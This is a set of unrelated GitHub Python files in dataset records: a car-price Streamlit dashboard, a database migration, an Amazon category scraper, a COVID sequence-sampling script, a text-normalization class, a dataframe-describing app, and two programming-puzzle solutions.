Fuel')#.interactive()\n\ndf12_plot = alt.Chart(data).mark_boxplot(extent='min-max').encode(\n x=alt.X('engine_fuel', sort='-y', title=None),\n y=alt.Y('price_usd')\n).properties(width=500,height=200, title='Price Variance by Engine Fuel')\n\nst.altair_chart(alt.hconcat(df11_plot, df12_plot))\n\n\n# Plots - Engine with Gas\ndf13 = data['engine_has_gas'].value_counts().rename_axis('Engine with Gas').reset_index(name='Counts')\ndf13_plot = alt.Chart(df13).mark_bar().encode(\n x=alt.X('Engine with Gas', sort='-y', title=None),\n y=alt.Y('Counts', title=None),\n tooltip=['Engine with Gas','Counts']\n).properties(width=500,height=200, title='Count by Engine with Gas')#.interactive()\n\ndf14_plot = alt.Chart(data).mark_boxplot(extent='min-max').encode(\n x=alt.X('engine_has_gas', sort='-y', title=None),\n y=alt.Y('price_usd')\n).properties(width=500,height=200, title='Price Variance by Engine with Gas')\n\nst.altair_chart(alt.hconcat(df13_plot, df14_plot))\n\n\n# Plots - Engine Type\ndf15 = data['engine_type'].value_counts().rename_axis('Engine Type').reset_index(name='Counts')\ndf15_plot = alt.Chart(df15).mark_bar().encode(\n x=alt.X('Engine Type', sort='-y', title=None),\n y=alt.Y('Counts', title=None),\n tooltip=['Engine Type','Counts']\n).properties(width=500,height=200, title='Count by Engine Type')#.interactive()\n\ndf16_plot = alt.Chart(data).mark_boxplot(extent='min-max').encode(\n x=alt.X('engine_type', sort='-y', title=None),\n y=alt.Y('price_usd')\n).properties(width=500,height=200, title='Price Variance by Engine Type')\n\nst.altair_chart(alt.hconcat(df15_plot, df16_plot))\n\n\n# Plots - Body Type\ndf17 = data['body_type'].value_counts().rename_axis('Body Type').reset_index(name='Counts')\ndf17_plot = alt.Chart(df17).mark_bar().encode(\n x=alt.X('Body Type', sort='-y', title=None),\n y=alt.Y('Counts', title=None),\n tooltip=['Body Type','Counts']\n).properties(width=500,height=200, title='Count by Body Type')#.interactive()\n\ndf18_plot = alt.Chart(data).mark_boxplot(extent='min-max').encode(\n x=alt.X('body_type', sort='-y', title=None),\n y=alt.Y('price_usd')\n).properties(width=500,height=200, title='Price Variance by Body Type')\n\nst.altair_chart(alt.hconcat(df17_plot, df18_plot))\n\n\n# Plots - Warranty\ndf19 = data['has_warranty'].value_counts().rename_axis('Warranty').reset_index(name='Counts')\ndf19_plot = alt.Chart(df19).mark_bar().encode(\n x=alt.X('Warranty', sort='-y', title=None),\n y=alt.Y('Counts', title=None),\n tooltip=['Warranty','Counts']\n).properties(width=500,height=200, title='Count by Warranty')#.interactive()\n\ndf20_plot = alt.Chart(data).mark_boxplot(extent='min-max').encode(\n x=alt.X('has_warranty', sort='-y', title=None),\n y=alt.Y('price_usd')\n).properties(width=500,height=200, title='Price Variance by Warranty')\n\nst.altair_chart(alt.hconcat(df19_plot, df20_plot))\n\n\n# Plots - State\ndf21 = data['state'].value_counts().rename_axis('State').reset_index(name='Counts')\ndf21_plot = alt.Chart(df21).mark_bar().encode(\n x=alt.X('State', sort='-y', title=None),\n y=alt.Y('Counts', title=None),\n tooltip=['State','Counts']\n).properties(width=500,height=200, title='Count by State')#.interactive()\n\ndf22_plot = alt.Chart(data).mark_boxplot(extent='min-max').encode(\n x=alt.X('state', sort='-y', title=None),\n y=alt.Y('price_usd')\n).properties(width=500,height=200, title='Price Variance by State')\n\nst.altair_chart(alt.hconcat(df21_plot, df22_plot))\n\n\n# Plots - Drivetrain\ndf23 = data['drivetrain'].value_counts().rename_axis('Drivetrain').reset_index(name='Counts')\ndf23_plot = alt.Chart(df23).mark_bar().encode(\n x=alt.X('Drivetrain', sort='-y', title=None),\n y=alt.Y('Counts', title=None),\n tooltip=['Drivetrain','Counts']\n).properties(width=500,height=200, title='Count by Drivetrain')#.interactive()\n\ndf24_plot = alt.Chart(data).mark_boxplot(extent='min-max').encode(\n x=alt.X('drivetrain', sort='-y', title=None),\n y=alt.Y('price_usd')\n).properties(width=500,height=200, title='Price Variance by Drivetrain')\n\nst.altair_chart(alt.hconcat(df23_plot, df24_plot))\n\n\n# Plots - Colour\ndf25 = data['color'].value_counts().rename_axis('Colour').reset_index(name='Counts')\ndf25_plot = alt.Chart(df25).mark_bar().encode(\n x=alt.X('Colour', sort='-y', title=None),\n y=alt.Y('Counts', title=None),\n tooltip=['Colour','Counts']\n).properties(width=500,height=200, title='Count by Colour')#.interactive()\n\ndf26_plot = alt.Chart(data).mark_boxplot(extent='min-max').encode(\n x=alt.X('color', sort='-y', title=None),\n y=alt.Y('price_usd')\n).properties(width=500,height=200, title='Price Variance by Colour')\n\nst.altair_chart(alt.hconcat(df25_plot, df26_plot))\n\n\nst.markdown(\"\"\"\n #### The above plots show that:\n - mechanical cars are double the automatics, however automatics are more expensive (double the price)\n - sedans and front-drive cars are the most popular, but not most expensive\n - the engine type and engine fuel is mostly gasoline, but hybrid-petrol the most expensive\n - vast majority owned and without warranty, but new with guarantee can lead to sigificantly high prices\n - black and silver the most popular, but brown cars have the highest median price\n So, it seems that high prices can be related to automatic cars with hybrid-petrol fuel, that are new and have warranty.\n \"\"\")\n\n\nst.write('----------------------------------------------------------------------------------------------------------------')\n\n\n\ndf27_plot = alt.Chart(data).mark_boxplot(extent='min-max').encode(\n y=alt.Y('year_produced')\n).properties(width=500,height=200, title='Price Variance by Year Produced')\n\ndf28_plot = alt.Chart(data).mark_boxplot(extent='min-max').encode(\n y=alt.Y('odometer_value')\n).properties(width=500,height=200, title='Price Variance by Odometer Value')\n\ndf29_plot = alt.Chart(data).mark_boxplot(extent='min-max').encode(\n y=alt.Y('engine_capacity')\n).properties(width=500,height=200, title='Price Variance by Engine Capacity')\n\ndf30_plot = alt.Chart(data).mark_boxplot(extent='min-max').encode(\n y=alt.Y('duration_listed')\n).properties(width=500,height=200, title='Price Variance by Duration Listed')\n\ndf27_28_plots = alt.hconcat(df27_plot, df28_plot)\ndf29_30_plots = alt.hconcat(df29_plot, df30_plot)\n\nst.altair_chart(alt.vconcat(df27_28_plots, df29_30_plots))\n\n\nst.markdown(\"\"\"\n #### The dataset mainly consists of:\n - cars mostly produced around 2002, with avg odometer value of 250K km\n - mainly with 2 engines, being listed mostly under 100 days\n \"\"\")","repo_name":"billykal/streamlit","sub_path":"pages/Insights.py","file_name":"Insights.py","file_ext":"py","file_size_in_byte":12808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37702185668","text":"\"\"\"bugfix with wrong name of column registered_at\n\nRevision ID: ce6fe4182b50\nRevises: 3ecc50c42efe\nCreate Date: 2023-02-22 15:06:00.568114\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = 'ce6fe4182b50'\ndown_revision = '3ecc50c42efe'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('user', sa.Column('registered_at', sa.TIMESTAMP(), nullable=True))\n op.drop_column('user', 'registrered_at')\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('user', sa.Column('registrered_at', postgresql.TIMESTAMP(), autoincrement=False, nullable=True))\n op.drop_column('user', 'registered_at')\n # ### end Alembic commands ###\n","repo_name":"MikhailKras/first_fastapi","sub_path":"migrations/versions/ce6fe4182b50_bugfix_with_wrong_name_of_column_.py","file_name":"ce6fe4182b50_bugfix_with_wrong_name_of_column_.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"35295805880","text":"import os\nimport urllib\nimport re\nimport time\nimport requests\nimport pandas as pd\nimport lxml\nfrom dotenv import find_dotenv, load_dotenv\nfrom bottlenose import Amazon\nfrom bs4 import BeautifulSoup\nfrom retry import retry\nimport csv\n\n\nclass AmazonAccess():\n def __init__(self):\n print(\"started\")\n\n def getAmaAPI(self):\n AMAZON_ACCESS_KEY = os.getenv('AWS_ACCESS_KEY_ID')\n AMAZON_SECRET_ACCESS_KEY = os.getenv('AWS_SECRET_ACCESS_KEY')\n # AWS_ASSOCIATE_TAG = os.environ.get('AWS_ASSOCIATE_TAG')\n\n while True:\n try:\n amazon = Amazon(AMAZON_ACCESS_KEY, AMAZON_SECRET_ACCESS_KEY, '', Region='JP')\n response = amazon.ItemSearch(\n SearchIndex='Books',\n BrowseNode=3550442051,\n ResponseGroup='Large'\n )\n soup = BeautifulSoup(response, \"lxml\")\n print(\"データの取得に成功しました\")\n return (soup.findAll(\"item\"))\n except: # 503エラーが出たら再取得する\n print(\"再取得しています....\")\n time.sleep(3)\n\n def getAma(self):\n url = \"https://www.amazon.co.jp/gp/bestsellers/digital-text/2293143051/\"\n htmltext = requests.get(url, timeout=30, verify=False).text\n soup = BeautifulSoup(htmltext, \"lxml\")\n\n for el in soup.find_all(\"div\", class_=\"zg_itemRow\"):\n rank = el.find(\"span\", class_=\"zg_rankNumber\").string.strip()\n name = el.find_all(\"div\", class_=\"p13n-sc-truncate\")[0].string.strip()\n price = el.find(\"span\", class_=\"p13n-sc-price\").string.strip()\n print(\"{} {} {}\".format(rank, price, name))\n\n def getAllCategories(self):\n url = \"https://www.amazon.co.jp/gp/site-directory?ref=nav_shopall_btn\"\n htmltext = requests.get(url, timeout=30, verify=False).text\n soup = BeautifulSoup(htmltext)\n\n all_categories =[]\n for el in soup.find_all(\"div\", class_=\"popover-grouping\"):\n category_name = el.find(\"h2\", class_=\"popover-category-name\").string\n sub_category_name = el.find_all(class_=\"nav_a\")\n for ell in sub_category_name:\n all_categories.append([category_name, sub_category_name, \"https://www.amazon.co.jp\"+ell.get(\"href\"), ell.string])\n\n\n #d = pd.DataFrame(all_categories, \"category,sub,data\")\n #d.to_csv(\"all_categories1.csv\")\n\n header = [\"category\", \"sub\", \"url\", \"data\"]\n with open('all_categories.csv', 'w') as f:\n writer = csv.writer(f, lineterminator='\\n') # 改行コード（\\n）を指定しておく\n writer.writerow(header)\n writer.writerows(all_categories)\n\n\nama = AmazonAccess()\nama.getAllCategories()","repo_name":"alunfes/amazon-api","sub_path":"app/ama-api.py","file_name":"ama-api.py","file_ext":"py","file_size_in_byte":2826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"1190509077","text":"#!/usr/bin/env python\n\nimport click\nimport pandas as pd\nimport numpy as np\nimport skbio\n\n\ndef cigar_parse(cigar):\n if cigar == '=':\n yield (0, '=')\n return\n try:\n count = \"\"\n for char in cigar:\n try:\n int(char)\n except:\n if not count:\n count = 0\n yield (int(count), char)\n count = \"\"\n else:\n count += char\n except ValueError:\n print(cigar)\n raise\n\n\ndef slice_query_target(query, target, cigar_tuple):\n \"\"\"IMPORTANT: this slice out indels, leaving only match/mismatch\n It appears that the middle is almost always ~29k M, so not penalizing\n a middle indel as part of the hamming probably won't matter too much\n \"\"\"\n new_query = \"\"\n new_target = \"\"\n for count, op in cigar_tuple:\n if count > min(len(query), len(target)):\n count = min(len(query), len(target))\n if op == 'M':\n new_query = new_query + query[:count]\n new_target = new_target + target[:count]\n target = target[count:]\n query = query[count:]\n elif op == 'I':\n target = target[count:]\n elif op == 'D':\n query = query[count:]\n elif op == '=':\n new_query = query\n new_target = target\n\n return skbio.DNA(new_query), skbio.DNA(new_target)\n\n\ndef snp_count(record, seqs):\n cigar_tuple = cigar_parse(record.cigar)\n q, t = slice_query_target(seqs[record.query], seqs[record.target],\n cigar_tuple)\n try:\n mask = q.definites() & t.definites()\n except ValueError:\n print(record.cigar)\n print(repr(q))\n print(repr(t))\n return (q[mask].values != t[mask].values).sum()\n\n\ndef location(gisaid, df):\n return ':'.join(df.loc[gisaid][['country', 'division']].dropna())\n\n\ndef get_id(header):\n if type(header) is str and 'EPI_ISL' in header:\n return header.split('|')[1]\n return header\n\n\ndef clusters_from_uc(uc):\n hits = uc[uc['type'] == 'H']\n clusters = {}\n for r in hits.itertuples():\n if r.target not in clusters:\n clusters[r.target] = []\n clusters[r.target].append(r)\n return clusters\n\n\ndef make_snp_tables(clusters, seqs, df):\n snps = {}\n for target, hits in clusters.items():\n idx = [get_id(h.query) for h in hits]\n table = pd.DataFrame(\n {'snp': [snp_count(h, seqs) for h in hits],\n 'location': [location(get_id(h.query), df) for h in hits],\n 'date': pd.to_datetime(df['date'][df.index.isin(idx)],\n errors='coerce')},\n index=idx)\n table = table.sort_values(by=['snp', 'date'])\n snps[get_id(target)] = table\n return snps\n\n\ndef sample_table(n, table):\n if n > len(table):\n n = len(table)\n loc = table['location']\n # convert locations into number of obs, take the inverse, then scale by\n # number of unique locations so it all sums to 1. Infrequent location obs\n # will have a high weight, frequent location obs will have an individually\n # lower weight, but collectively all locations have the same weight when\n # all obs are summed within a location class.\n weights = ((1 / loc.map(loc.value_counts())) / len(loc.unique()))\n sample = table.sample(n, weights=weights)\n if any(sample['snp'] == 1):\n return sample # already have something like a MRCA\n elif not any(table['snp'] == 1):\n return sample # no good candidates\n else:\n # patch in a better one\n extra = sample_table(1, table[table['snp'] == 1])\n sample = sample[:(n-1)]\n return pd.concat([sample, extra])\n\n\n@click.command()\n@click.option('--n', help='number of additional \"context\" samples to include'\n ' per cluster', required=True, type=int)\n@click.option('--uc', help='UC cluster map',\n type=click.Path(), required=True)\n@click.option('--target', help='target sequences as fasta',\n type=click.Path(), required=True)\n@click.option('--query', help='query sequences as fasta',\n type=click.Path(), required=True)\n@click.option('--tsv', help='nextstrain metadata tsv',\n type=click.Path(), required=True)\n@click.argument('output', type=click.File(mode='w'))\ndef main(n, uc, target, query, tsv, output):\n df = pd.read_csv(tsv, sep='\\t')\n df.index = df['gisaid_epi_isl']\n\n targets = pd.Series(skbio.io.read(target, format='fasta',\n constructor=skbio.DNA))\n targets = targets.rename(lambda x: targets[x].metadata['id'] + targets[x].metadata['description'])\n queries = pd.Series(skbio.io.read(query, format='fasta',\n constructor=skbio.DNA))\n queries = queries.rename(lambda x: queries[x].metadata['id'] + queries[x].metadata['description'])\n qidx = queries.index.to_series().apply(lambda x: get_id(x) in df.index)\n queries = queries[qidx]\n print(\"Metadata is missing %d samples. Any missing samples will be filtered.\"\n % (~qidx).sum())\n\n seqs = queries.combine_first(targets).apply(str)\n\n uc = pd.read_csv(\n uc, sep='\\t', na_values='*',\n names=['type', 'cluster_id', 'length', 'perc_id', 'strand', 'BLANK1',\n 'BLANK2', 'cigar', 'query', 'target'])\n avail = (uc['target'].apply(lambda x: x in seqs.index)\n & uc['query'].apply(lambda x: x in seqs.index))\n uc = uc[avail]\n\n clusters = clusters_from_uc(uc)\n snps = make_snp_tables(clusters, seqs, df)\n\n context_df = pd.DataFrame(\n columns=['gisaid_epi_isl', 'snp', 'location', 'date', 'centroid-id'])\n for centroid, table in snps.items():\n table = sample_table(n, table)\n\n table['gisaid_epi_isl'] = table.index\n table['centroid-id'] = centroid\n\n context_df = context_df.append(table, sort=False)\n\n with output.open() as fh:\n fh.write(context_df.to_csv(sep='\\t', index=False))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"caporaso-lab/az-covid-1","sub_path":"sample-clusters.py","file_name":"sample-clusters.py","file_ext":"py","file_size_in_byte":6123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29968268954","text":"import pynini\nfrom nemo_text_processing.text_normalization.en.graph_utils import NEMO_NOT_QUOTE, GraphFst\nfrom nemo_text_processing.text_normalization.en.utils import get_abs_path\nfrom pynini.lib import pynutil\n\n\nclass SubstituteFst(GraphFst):\n \"\"\"\n Finite state transducer for classifying words need to be substitute, e.g. \n colour -> Substitute { word: \"color\" } }\n\n Args:\n deterministic: if True will provide a single transduction option,\n for False multiple transduction are generated (used for audio-based normalization)\n \"\"\"\n\n def __init__(self, deterministic: bool = True, lm: bool = False, reverse = False):\n super().__init__(name=\"substitute\", kind=\"classify\", deterministic=deterministic)\n word_graph = pynini.string_file(\n get_abs_path(\"data/substitute/word.tsv\")\n )\n year_graph = pynini.string_file(\n get_abs_path(\"data/substitute/numbers.tsv\")\n )\n word_past = word_graph + 'ed'\n subs_graph = word_graph | year_graph | word_past\n graph = pynutil.insert(\"word: \\\"\") + subs_graph + pynutil.insert(\"\\\"\")\n graph = self.add_tokens(graph)\n self.fst = graph.optimize()\n","repo_name":"dophist/textnorm","sub_path":"en/nemo_text_processing/text_normalization/en/taggers/subs.py","file_name":"subs.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"9778643427","text":"import streamlit as st\nimport datetime as dt\nimport pandas as pd\nimport numpy as np\nimport scipy.stats as stats\nimport io\n\nbuffer = io.BytesIO()\n\n\n##################################################################### CONFIG\n\nconfig = {}\n\n\n\n##################################################################### FUNCTIONS\n\ndef describe_df(df):\n ## default pd.DataFrame.describe()\n df_desc = df.describe(include='all').T\n cols_int = ['count']\n cols_float = ['mean','std','min','25%','50%','75%','max']\n df_desc[cols_int] = df_desc[cols_int].astype(int)\n df_desc[cols_float] = df_desc[cols_float].astype(float)\n\n ## Null in percentage\n df_desc['null%'] = np.round((df.shape[0]-df_desc['count']) / df.shape[0] * 100, 2)\n\n ## Data type\n df_dtypes = df.dtypes.to_frame()\n df_dtypes.columns = ['dtype']\n df_desc = pd.merge(df_desc, df_dtypes, left_index=True, right_index=True)\n\n ## Number of unique values & value stats/distributions\n def get_unique_stats(df, colname, n=10):\n gb = df.groupby(colname).size().reset_index()\n gb = gb.sort_values([0, colname], ascending=False)\n\n if gb.shape[0] > n*2:\n gb_top, gb_botm = gb.iloc[:n], gb.iloc[-n:]\n else:\n topn = int(np.ceil(1.*gb.shape[0]/2))\n bottomn = gb.shape[0] - topn\n gb_top, gb_botm = gb.iloc[:topn], gb.iloc[-bottomn:]\n\n valsstring_all = ' \\n'.join([ ''+str(int(b))+': '+str(a) for a,b in gb.values])\n valsstring_top = ' \\n'.join([ ''+str(int(b))+': '+str(a) for a,b in gb_top.values])\n valsstring_botm = ' \\n'.join([ ''+str(int(b))+': '+str(a) for a,b in gb_botm.values])\n return len(gb), valsstring_all, valsstring_top, valsstring_botm\n df_desc[['nunique','uniquecounts','topN','bottomN']] = df_desc.apply(\n lambda r: get_unique_stats(df, r.name, n=10), axis=1, result_type='expand')\n\n ## stats.normtest for numerical columns\n ## If the p-val is very small, it means it is unlikely that the data came from a normal distribution\n ## URL: https://stackoverflow.com/questions/12838993/scipy-normaltest-how-is-it-used\n def get_normtest(df, colname):\n if pd.api.types.is_numeric_dtype(df[colname]):\n try:\n k2, p = stats.normaltest(df[colname], nan_policy='omit')\n return p\n except Exception as errmsg:\n return '(error) '+ str(errmsg)\n return np.nan\n df_desc['normtest_pval'] = df_desc.apply(lambda r: get_normtest(df, r.name), axis=1)\n\n ## 'Remarks' column\n def get_remarks(row):\n messages = []\n if row['null%'] > 0:\n if row['null%'] >= 30:\n messages.append('High null% - Drop column?')\n elif row['null%'] >= 10:\n messages.append('Med null% - Imputation? Custom feature engineering?')\n else:\n messages.append('Low null% - Drop rows? Custom feature engineering?')\n if row['dtype'] == 'object':\n messages.append('Object data type. Consideration & recommendation:')\n messages.append('- Is this ordinal (ordered)? Try mapping to integer')\n messages.append('- Is this nominal (non-ordered)? Try one-hot encoding')\n return '\\n'.join(messages)\n df_desc['Remarks'] = df_desc.apply(lambda r: get_remarks(r), axis=1)\n\n\n ## Create multi-level columns by Type\n coltype = {\n 'count': 'Summary',\n 'null%': 'Summary',\n 'nunique': 'Summary',\n 'dtype': 'Summary',\n\n 'mean': 'Numerical',\n 'std': 'Numerical',\n 'min': 'Numerical',\n '25%': 'Numerical',\n '50%': 'Numerical',\n '75%': 'Numerical',\n 'max': 'Numerical',\n 'normtest_pval': 'Numerical',\n\n #'uniquecounts': 'Analytics',\n 'topN': 'Freq. of Values',\n 'bottomN': 'Freq. of Values',\n\n 'Remarks': 'Other',\n\n 'top': '(to delete)', ## Categorical\n 'freq': '(to delete)', ## Categorical\n 'unique': '(to delete)',\n }\n coltypeorder = ['Summary', 'Numerical', 'Freq. of Values', 'Other']\n colsbytype = {t:[] for t in coltypeorder}\n colsorder = []\n for cname,ctype in coltype.items():\n if colsbytype.get(ctype) is not None:\n colsbytype[ctype].append(cname)\n colsorder.append(cname)\n df_desc = df_desc[colsorder]\n tups = [(coltype[col], col) for col in colsorder]\n df_desc.columns = pd.MultiIndex.from_tuples(tups)\n \n return df_desc\n\ndef to_xlsx(df, original_df=None, outputdir='.\\\\', prefix=None, dfname=None, include_date=True, include_time=True, include_nrow=True, include_ncol=True):\n ## Output to xlsx\n nrow, ncol = None, None\n if original_df is not None:\n nrow, ncol = original_df.shape\n tmpprefix = '' if prefix is None else prefix\n tmpname = '' if dfname is None else dfname\n tmptime = ''\n if include_date or include_time:\n tmptime = '%Y%m%d' if include_date else ''\n if include_time:\n tmptime = tmptime+'-%H%M%S' if tmptime!='' else '%H%M%S'\n tmptime = dt.datetime.now().strftime(tmptime)\n tmpnrow = 'ninstances%d'%(nrow) if original_df is not None and include_nrow else ''\n tmpncol = 'ncolumns%d'%(ncol) if original_df is not None and include_ncol else ''\n tmpcomponents = [tmpprefix, tmpname, tmptime, tmpnrow, tmpncol]\n tmpcomponents = [c for c in tmpcomponents if c!='']\n outputpath = outputdir + '%s.xlsx' % ('-'.join(tmpcomponents))\n \n colsorder = [c2 for c1,c2 in df.columns]\n\n sheetname = 'Sheet1'\n fmt_start_rown = 4\n fmt_end_rown = fmt_start_rown + df.shape[0]-1\n colchars = list('ABCDEFGHIJKLMNOPQRSTUVWXYZ')\n fmt_start_coln = 1\n fmt_end_coln = fmt_start_coln + df.shape[1]-1\n fmt_start_col, fmt_end_coln = colchars[fmt_start_coln], colchars[fmt_end_coln]\n with pd.ExcelWriter(buffer) as writer:\n ## Data\n df.to_excel(writer, sheet_name=sheetname)\n\n ## Reference URL: https://pythoninoffice.com/python-xlsxwriter-conditional-formatting/\n\n ## Prep for sheet formatting\n workbook, worksheet = writer.book, writer.sheets[sheetname]\n workbook.formats[0].set_text_wrap()\n\n ## Apply formatting: blanks\n fmt_blanks = workbook.add_format({'bg_color':'#F2F2F2'})\n worksheet.conditional_format('%s%d:%s%d'%(fmt_start_col,fmt_start_rown, fmt_end_coln,fmt_end_rown)\n , {'type':'blanks', 'format':fmt_blanks})\n\n ## Apply formatting: System error message\n fmt_errmsg = workbook.add_format({'color':'#C00000'})\n worksheet.conditional_format('%s%d:%s%d'%(fmt_start_col,fmt_start_rown ,fmt_end_coln,fmt_end_rown)\n , {'type':'text', 'criteria':'begins with','value':'(error)', \n 'format':fmt_errmsg})\n\n ## Apply formatting: dtype==object\n colindex = list(colsorder).index('dtype') + 1\n colchar = colchars[colindex]\n fmt_dtypeobject = workbook.add_format({'bg_color':'#D9D9D9'})\n worksheet.conditional_format('%s%d:%s%d'%(colchar,fmt_start_rown ,colchar,fmt_end_rown)\n , {'type':'text', 'criteria':'containing',\n 'value':'object', 'format':fmt_dtypeobject})\n\n ## Apply formatting: null% > 30%\n colindex = list(colsorder).index('null%') + 1\n colchar = colchars[colindex]\n fmt_warning = workbook.add_format({'bg_color':'#FDE9D9'})\n fmt_warning1 = workbook.add_format({'bg_color':'#FCD5B4'})\n fmt_warning2 = workbook.add_format({'bg_color':'#FABF8F'})\n worksheet.conditional_format('%s%d:%s%d'%(colchar,fmt_start_rown, colchar,fmt_end_rown)\n , {'type':'cell', 'criteria':'>','value': 30, 'format':fmt_warning2})\n worksheet.conditional_format('%s%d:%s%d'%(colchar,fmt_start_rown, colchar,fmt_end_rown)\n , {'type':'cell', 'criteria':'>','value': 10, 'format':fmt_warning1})\n worksheet.conditional_format('%s%d:%s%d'%(colchar,fmt_start_rown, colchar,fmt_end_rown)\n , {'type':'cell', 'criteria':'>','value': 0, 'format':fmt_warning})\n\n ## Apply formatting: Feature name\n worksheet.set_column(0, 0, 20) \n\n ## Apply formatting: Freq. of Values (topN, bottomN)\n colindex = list(colsorder).index('topN') + 1\n worksheet.set_column(colindex, colindex+1, 25) \n\n ## Apply formatting: Remarks\n colindex = list(colsorder).index('Remarks') + 1\n worksheet.set_column(colindex, colindex, 50)\n\t\n\t# Close the Pandas Excel writer and output the Excel file to the buffer\n writer.save()\n \n download_button = st.download_button(\n label=\"Download output (.xlsx)\",\n data=buffer,\n file_name=outputpath,\n mime=\"application/vnd.ms-excel\")\n return outputpath\n\n\n##################################################################### SIDEBAR\n\nwith st.sidebar:\n\tst.write('# Input data')\n\tuploaded_file = st.file_uploader(\"Upload CSV\", type=\".csv\")\n\tuse_example_file = st.checkbox(\"Use example file\", False, help=\"Adult Data Set from UCI\")\n\t\t\n\tst.write('# Output settings')\n\toutputfile_prefix = st.text_input('Filename Prefix', value='describedf', placeholder='(optional)')\n\toutputfile_dfname = st.text_input('Dataframe name', value='AdultDataFromUCI', placeholder='(optional)')\n\toutputfile_include_date = st.checkbox(\"Include date\", True)\n\toutputfile_include_time = st.checkbox(\"Include time\", True)\n\toutputfile_include_nrow = st.checkbox(\"Include number of instances\", True)\n\toutputfile_include_ncol = st.checkbox(\"Include number of columns\", True)\n\t\n\t\n\t\n##################################################################### MAIN PAGE\nst.write('# Describe data frame')\n\nst.write('## Introduction')\n\nif st.checkbox('Summary'):\n\tst.write('''\n\t\t\t* Data source: [Adult Data Set @ UCI](https://archive.ics.uci.edu/ml/datasets/Adult)\n\t\t\t* How to use this app:\n\t\t\t\t1. On the sidebar:\n\t\t\t\t\t* Upload data (in csv format) or tick the box to load the sample dataset\n\t\t\t\t\t* Configure the output file name\n\t\t\t\t2. Preview the data\n\t\t\t\t3. Investigate data statistics, including: count, null%, number of unique values, min, max, etc\n\t\t\t\t4. Download the _described data frame_ to your local to: easier investigation and note-taking, etc\n\t\t''')\n\n\nif use_example_file:\n\tuploaded_file = \"adult.csv\"\n\nif uploaded_file:\n\tdf = pd.read_csv(uploaded_file)\n\tdescribed_df = describe_df(df)\n\t\n\tst.write(\"## Data Preview\")\n\tst.write('shape: %s'%(str(df.shape)))\n\tst.dataframe(df, height=300)\n\n\tst.write(\"## Describe Data\")\n\ttmpdf = described_df.copy()\n\tfor c in tmpdf.columns:\n\t\tif tmpdf[c].dtype == 'object':\n\t\t\ttmpdf[c] = tmpdf[c].replace('\\n',', ')\n\tst.dataframe(tmpdf.astype(str))\n\t\n\toutputpath = to_xlsx( described_df\n\t\t\t , original_df=df\n\t\t\t , outputdir='.\\\\'\n\t\t\t , prefix=outputfile_prefix\n\t\t\t , dfname=outputfile_dfname\n\t\t\t , include_date=outputfile_include_date\n\t\t\t , include_time=outputfile_include_time\n\t\t\t , include_nrow=outputfile_include_nrow\n\t\t\t , include_ncol=outputfile_include_ncol)\n","repo_name":"ferrysusanto11579/describedf","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":11235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10283763553","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Dec 10 15:23:24 2019\r\n\r\n@author: Oliver\r\n\"\"\"\r\n\r\n\"\"\"\r\nGiven a string containing just the characters '(' and ')', \r\nfind the length of the longest valid (well-formed) parentheses substring.\r\n\r\nInput: \"(()\"\r\nOutput: 2\r\nExplanation: The longest valid parentheses substring is \"()\"\r\n\r\nInput: \")()())\"\r\nOutput: 4\r\nExplanation: The longest valid parentheses substring is \"()()\"\r\n\"\"\"\r\n\r\nclass Solution:\r\n def longestValidParentheses(self, s: str) -> int:\r\n if not s: return 0\r\n temp_ls = []\r\n err_ls = []\r\n last_err = 0\r\n max_valid = 0\r\n temp_valid = 0\r\n\r\n for i, val in enumerate(s):\r\n # print(temp_ls)\r\n if val == '(':\r\n temp_ls.append(i)\r\n else:\r\n try:\r\n temp_ls.pop()\r\n except IndexError:\r\n err_ls.append(i)\r\n err_ls.extend(temp_ls)\r\n err_ls.sort()\r\n if err_ls:\r\n for e in range(len(err_ls)-1):\r\n temp_valid = err_ls[e+1] - err_ls[e] -1\r\n if temp_valid > max_valid:\r\n max_valid = temp_valid\r\n if len(s)-err_ls[-1]-1 > max_valid:\r\n max_valid = len(s)-err_ls[-1]-1\r\n if err_ls[0] > max_valid:\r\n max_valid = err_ls[0]\r\n else:\r\n return len(s)\r\n\r\n return max_valid","repo_name":"chestnutcone/leetcode","sub_path":"longest_valid_parentheses.py","file_name":"longest_valid_parentheses.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15383774988","text":"#! /usr/bin/python3\nimport sys\nimport heapq\n\n# Author: Andreas Zeijlon (andze132)\n# Date 2020-01-29\n\nvertices = []\nnum_vertices = int(sys.stdin.readline())\nneighbours = [0]*(num_vertices+1)\n\nfor i in sys.stdin:\n\tvertices.append(int(i))\n\tneighbours[int(i)-1]+=1\n\nif(vertices[-1]-1 != num_vertices):\n\tprint(\"Error\")\nelse:\n\tq = []\n\n\tfor i in range(len(neighbours)):\n\t\tif(neighbours[i] == 0):\n\t\t\theapq.heappush(q, i+1)\n\n\tif not q:\n\t\tprint(\"Error\")\n\telse:\n\t\tfor i in range(num_vertices):\n\t\t\tif not q:\n\t\t\t\tprint(\"Error\")\n\t\t\t\tbreak\n\t\t\tnext_item = heapq.heappop(q)\n\t\t\tprint(next_item)\n\t\t\tneighbours[vertices[i]-1]-=1\n\n\t\t\tif(neighbours[vertices[i]-1] == 0):\n\t\t\t\theapq.heappush(q, 